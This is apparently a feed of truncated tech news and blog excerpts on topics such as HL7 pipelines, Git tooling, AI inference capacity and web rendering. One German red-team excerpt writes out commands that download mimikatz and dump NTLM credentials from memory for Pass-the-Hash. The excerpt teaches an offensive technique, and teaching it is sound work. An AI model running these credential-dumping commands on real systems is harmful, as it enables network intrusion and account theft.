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Scientists have long assumed that there’s an upper limit to the intensity of the solar winds that reach Earth. New research suggests there’s not—and the implications are alarming.

Uber's "Zero Growth Stack" focuses on scalable infrastructure that separates capacity growth from business demand, reducing hardware needs while enhancing service scaling. Central to this is garbage collection optimisation. Additionally, generative AI is integrated into development, elevating developer productivity while introducing cost management measures to maintain economic efficiency. By Olimpiu Pop

Telecom expects AI revenue from dark fiber deals and retrofitted data centers.

Today, I’m talking with Evan Smith, who is cofounder and CEO of Altana, a company that develops software tools to manage big, messy supply chain networks around the world. We last had Evan on in early 2025 to talk about how Trump’s first few waves of tariffs were starting to affect global trade and what […]

Johannes Schickling explores how he moved beyond the traditional three-tier web stack to a local-first approach. He shares his experience transitioning from Prisma to developing Overtone—a music curation app leveraging client-side event sourcing and SQLite. The discussion highlights the trade-offs between event sourcing and CRDTs. By Johannes Schickling

Cloud migration used to be a simple pitch: move off your servers, save money, scale on demand. For Indian enterprises today, the decision is more layered. Compliance rules have tightened. Cloud bills have grown unpredictable. And the assumption that a global hyperscaler is automatically the right fit is being questioned more often, especially by mid-size companies with real workloads and real budgets on the line. If your organisation is planning a migration, here's what actually matters before you sign a contract. Start with why you're migrating Most migrations get justified with one of three reasons: cost, scale, or compliance. Rarely all three at once, and the reason should shape the plan. If cost is the driver, look closely at your current spend. Bandwidth charges, storage tiers, and auto-scaling fees add up in ways that rarely match the sticker price teams budgeted for. If scale is the driver, the question is whether your workload actually needs the breadth a hyperscaler offers, or whether you're paying for hundreds of services you'll never touch. If compliance is the driver, data residency and audit requirements should be the first filter, not an afterthought. Data residency and compliance For Indian businesses, DPDP Act requirements, along with RBI and SEBI guidelines for regulated sectors, increasingly dictate where data can legally sit. This isn't a checkbox. It determines your shortlist of providers before pricing even enters the conversation. Confirm three things with any provider: where the datacentres physically are, whether the billing entity is India-registered, and whether the provider can produce compliance documentation on request, not just a marketing claim. A provider that can name the datacentre city and the entity name without hesitation has usually done the legwork. One that answers in generalities probably hasn't. The real cost of a migration Sticker price is the easiest number to compare and the least useful one. The real cost includes egress

Black holes eject powerful energy jets that blow away the surrounding gas to great distances. So how can they continue to grow?

When I started building my Maternity HL7-to-FHIR Pipeline , my first instinct was to do everything in Python. Parse the HL7 message, map the fields, validate the FHIR resource, persist it, all in one FastAPI service. It was clean. It was simple. It was wrong. The "Just Parse It in Python" Phase My initial architecture looked like this: Hospital System --MLLP--> Python Script --> HAPI FHIR Server I used python-hl7 to split messages on | and count field positions. For a single ADT^A01 (patient admission) message, it worked fine. I could pull the patient name from PID-5 , the MRN from PID-3 , the gender from PID-8 , and build a FHIR Patient resource from it. Then I tried a real-ish maternity workflow (an admission, an order, and a set of vitals) and things fell apart quickly. Five Problems That Changed My Mind 1. MLLP Is Not HTTP Hospital systems don't send HL7 over HTTP. They send it over MLLP (Minimum Lower Layer Protocol), which is a TCP socket protocol with specific framing bytes ( \x0b at the start, \x1c\x0d at the end). The sender expects an ACK or NACK response in HL7 format, not an HTTP status code. Building an MLLP listener in Python is possible . Libraries like aioml7 exist. But you're now maintaining a custom TCP server alongside your HTTP API server, handling connection pooling, timeouts, and HL7 acknowledgment generation. That's a lot of infrastructure code that has nothing to do with your actual transformation logic. Mirth Connect handles MLLP natively. You point it at a port, it listens, it parses, it ACKs. Done. One config screen, no custom code. 2. HL7 Parsing Is Messier Than It Looks The pipe-delimited format looks simple: PID|1||1234567^^^MRN||TEST^PATIENT^MARY^^MS||19920315|F|||14 SAMPLE ST^^SYDNEY^NSW^2000^AU But consider: Component separators : PID-5 is TEST^PATIENT^MARY^^MS , which is family, given, middle, suffix (empty), prefix. Miss the empty suffix and your prefix ends up as the suffix. Repeating fields : PID-3 can contain multiple identifier

When I started programming, Git was hard for me — like anything new is at first. Over time I noticed something: most of the best resources for learning it are in English. And for a lot of people just starting out, that's one more obstacle they shouldn't have to deal with. So in my spare time I built the thing I wish I'd had back then: Commitea . What is it? Two pieces, designed to complement each other: An open source repo with the full documentation in Spanish — from what a commit actually is, to how to get yourself out of trouble with rebase , a cherry-pick , or a push you regret. Every entry follows the same format: the concept in one sentence, a real example with commands, and "how this breaks" (the typical mistake people make). A web app with an interactive visualizer ( commitea-web.vercel.app ) where you type real Git commands and watch, live, what happens to the branch/commit graph. It doesn't touch any real repo — it's an in-memory simulator, but the engine actually replicates real Git behavior: fast-forward vs. merge commit detection, history rewriting on rebase, blocking a branch switch when you have uncommitted changes (just like real Git does), etc. What's in it right now 7 built-in scenarios you can run with one click and watch play out step by step: branch + merge, fast-forward, rebase, cherry-pick + reset --hard, fixing a commit made on the wrong branch, several branches merging in sequence, and stashing changes. Full command support : branch , checkout , commit , merge , rebase , cherry-pick , reset --hard , stash (with an edit helper command to simulate uncommitted changes, since the simulator has no real filesystem), status , and log . Site-wide search (⌘K), powered by Pagefind, indexing only the actual article content — not nav or boilerplate. A feedback widget on every article ("was this helpful?") that stores vote counts in Redis, so I know which content needs work without guessing. Light/dark mode , respecting system preference by default. A ch

On this episode of Uncanny Valley, we dive into accusations that China’s Moonshot AI stole from Anthropic, and how the US Army needs to cut back on AI use.

The web and Google once had a deal: Google collects data and indexes webpages and in exchange sends oceans of traffic to websites. The deal wasn't perfect and certainly made Google more money than it made the websites, but it worked for a long time. Now, however, the deal seems to be dead. And the […]

Jörg Schad explains how to tame the complex "data management hairball" to build scalable, safe architectures for AI. He shares how autonomous data products act like containers for data, encapsulating pipelines, schemas, and metadata. Discover how progressive tool discovery via protocols like MCP limits context rot, enforces governance policies, and ensures reliable, multi-modal access. By Jörg Schad

US robotics researchers flew to Venezuela with snakebots after getting a call.

Moonshot launched Kimi K3, and within 48 hours it had to stop taking new subscribers. Not because the model flopped, but because too many people wanted it. That's a strange kind of problem to have, and it's telling you something important about where AI's real bottleneck now sits. What actually happened Less than two days after Kimi K3 went live, Moonshot froze new subscriptions. The reason was blunt: demand had eaten through its available GPU capacity. In the company's own words, the model got "far more love than we expected," and in 48 hours usage pushed close to the limit of what its hardware could serve. Moonshot handled it reasonably. Existing users kept their access, and the company said it would expand capacity and reopen signups in batches. It also split its plans into two tiers, a general Kimi Membership for web and app use, and a separate Kimi Code Membership aimed at programming work. That split is a hint about which users are burning the most compute. Why the model drew that kind of demand Kimi K3 isn't a minor release. It's an open-weight model at 2.8 trillion parameters, and it reportedly beat Anthropic's Fable 5 and OpenAI's GPT-5.6 Sol on front-end coding tests. Open, cheap, and competitive on real coding is exactly the combination developers pile onto. So they did. The real story: the bottleneck moved Here's the part worth internalizing. For years the hard, expensive problem in AI was training. That's where the giant compute bills and the headlines were. Kimi K3's freeze shows the constraint shifting to inference, the cost of actually running the model for users, every request, every day. Agentic workloads are why. When an AI agent runs a coding task for minutes or hours instead of answering a single prompt, each user consumes far more compute than a chatbot ever did. Multiply that by a viral launch and you hit a GPU wall fast. Moonshot didn't run out of ideas. It ran out of chips to serve the ideas. Why this matters even if you never touch Kimi Thi

Hetzner is experimenting with LLM inference. That is not a sentence I expected to write, but I think it is pretty interesting :) Before anyone moves their production AI workloads to Hetzner: this is very much an experiment . There is no billing, no SLA, no production guarantee, and currently only one model. Hetzner says it wants to learn whether people actually want this, how the system scales, which features matter, and what kind of load it can handle. So this is not a finished product launch. It is Hetzner putting something early in front of users and seeing what happens. I really like that approach. What Is Hetzner Inference? Hetzner Inference is an OpenAI-compatible API running on Hetzner's own infrastructure. You create an API token in the Experiments dashboard, point an OpenAI client at Hetzner's base URL, and use it like most other inference APIs. Right now, the only available model is Qwen/Qwen3.6-35B-A3B-FP8 . It is a 35-billion-parameter Mixture-of-Experts model with 3 billion active parameters. It accepts text and images, has a 262K context window, and uses FP8-quantized weights. That is a perfectly reasonable model for an experiment. It is small enough to serve without a ridiculous GPU cluster, but still useful enough to test the API with real workloads. Hetzner also published a short tutorial for connecting OpenCode to the API , if you want to try it without writing any code. I Tried It Because the API is OpenAI-compatible, there is almost nothing special about the integration: pip install openai from openai import OpenAI client = OpenAI ( base_url = " https://inference.hetzner.com/api/v1 " , api_key = " YOUR_TOKEN " , ) response = client . chat . completions . create ( model = " Qwen/Qwen3.6-35B-A3B-FP8 " , messages = [ { " role " : " user " , " content " : " Explain why the sky is blue in one sentence. " } ], extra_body = { " chat_template_kwargs " : { " enable_thinking " : False , } }, ) print ( response . choices [ 0 ]. message . content ) The enabl

Red Team Basics: Pass-the-Hash & Kerberoasting – So greifen echte Angreifer an „Manche nennen es ein Hack‑Werkzeug, ich nenne es ein Koffer voller Schlüssel.“ – Dieser provokante Gedanke brachte mich 2019 zum ersten Mal an die Grenze des Pass‑the‑Hash (PtH) . In den folgenden Jahren habe ich unzählige Pentests geleitet und dabei beobachtet, wie schnell ein einzelner Hash ein ganzes Netzwerk öffnet. In diesem Artikel zerlegen wir die beiden Klassiker — Pass‑the‑Hash und Kerberoasting — und zeigen, warum sie in echten Angriffen immer noch die ersten Optionen sind. Wir gehen nicht um den heißen Brei herum: konkrete Befehle, Schritt‑für‑Schritt‑Beispiele und meine persönliche Bewertung nach jedem Abschnitt . Was ist Pass‑the‑Hash? Pass‑the‑Hash ist kein neues Konzept, aber die meisten Defender‑Teams unterschätzen seine Power. Statt ein Passwort zu knacken, übernimmt der Angreifer lediglich den NTLM‑Hash , den das System bereits hat, und authentifiziert sich damit gegenüber anderen Hosts. Beispiel 1 – Mimikatz nutzen, um einen Hash zu extrahieren # Auf dem kompromittierten Windows‑Host type C: \W indows \S ystem32 \c md.exe # Mimikatz herunterladen (nur zu Demonstrationszwecken) Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" -OutFile "mimikatz.zip" Expand-Archive mimikatz.zip -DestinationPath . # Im Mimikatz‑Prompt den Hash aus dem Speicher auslesen mimikatz # privilege::debug mimikatz # sekurlsa::logonpasswords Die Ausgabe liefert Zeilen wie: Authentication Id : 0x3e8 (1000) User Name : admin Domain : CORP Logon Server : \DC01 NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0 Der NTLM‑Hash 31d6cfe0… ist jetzt unser Ticket. Bewertung Ich habe das schon in unzähligen Projekten gesehen – sobald ein Administrator-Account auf einem Workstation-Host läuft, ist er ein Goldgräber. Der entscheidende Punkt ist, dass kein Brute‑Force nötig ist. Der Hash ist bereits valide, weil das System ihn selbst ausgibt. Kerberoasting verstehen

An updated government advisory warns that Iranian hackers are exploiting systems used by water and energy providers.

A practical framework for test planning, hardware scheduling, artifact traceability, failure classification, and evidence-based quality gates Disclaimer: The views expressed in this article are my own. The architecture, examples, terminology, and code snippets are generalized for educational purposes and do not describe or disclose any employer’s proprietary systems, confidential information, or internal implementation details. A software change can compile successfully, pass unit tests, and still introduce a serious GPU regression. The failure may appear only on one GPU generation. It may depend on a particular driver, firmware revision, operating system, graphics API, or workload. A change may preserve functional correctness while quietly reducing performance. It may also cause an intermittent failure that disappears when the test is rerun. This is why GPU validation cannot be treated as conventional CI/CD with a GPU runner attached to the end of the pipeline. A dependable GPU validation platform must coordinate: Software and firmware artifacts Hardware configurations Test coverage GPU resource scheduling Failure classification Performance baselines Engineering evidence It must do all of this while operating under an important constraint: compatible GPU capacity is limited and expensive. The objective is not simply to run more tests. It is to produce reliable evidence quickly enough to support engineering decisions. Why conventional CI/CD is not enough A conventional application pipeline often resembles: Commit ↓ Build ↓ Unit tests ↓ Integration tests ↓ Deployment A GPU validation pipeline is more multidimensional: Code or configuration change ↓ Build software and firmware artifacts ↓ Determine affected GPU configurations ↓ Reserve compatible hardware ↓ Prepare the driver and runtime environment ↓ Run functional, stability, and performance tests ↓ Collect logs, traces, metrics, and crash artifacts ↓ Classify failures and compare results with baselines ↓ Make a mer

Last month, more than a hundred Stanford students left their own graduation to protest Google’s military contracts and deals with ICE. Two organizers, Amanda Campos and Eva Jones, tell us why.

Most "SSG vs SSR vs ISR" content out there is written from documentation. Someone reads the framework, restates it, and you're left inferring the actual difference in performance and behavior. So I built a lab where you can just run the commands and see it yourself, no table to trust blindly. astro-wp-seo-lab builds the same WordPress content four different ways with Astro 7.1.1, then serves all four side by side so you can compare them directly. git clone https://github.com/nimajafari/astro-wp-seo-lab npm install npm run compare That builds each arm into its own directory and serves them all at once. arm url what it is ssg-full http://localhost:4301 everything prerendered at build time ssr http://localhost:4302 rendered per request, no caching ssr-cdn http://localhost:4303 per request plus CDN cache headers route-cache http://localhost:4304 per request plus Astro 7 route caching islands http://localhost:4305 static shell with deferred fragments Every page has a black bar at the top showing which arm rendered it and when. That timestamp is the instrument for most of what follows. First build takes a few minutes since each arm fetches from WordPress, later builds are faster because the Content Layer loader caches between them. It ships pointed at a live WordPress install (oxyplug.com), but it works against any public WordPress site with the REST API exposed. npm run probe -- https://your-site.com --save mysite SOURCE = mysite npm run compare probe checks what your own install actually exposes, REST API reachability, Yoast presence, permalink structure, then saves it under a name. Use the URLs npm run compare prints for your own site instead of the ones below, since those are generated from your own content. Build time vs request time This is the distinction most of the SSG vs SSR debate hinges on, and it takes about 30 seconds to see for yourself. Open these two side by side and reload each a few times. http://localhost:4301/optimization/crl-ocsp-certificate-revocati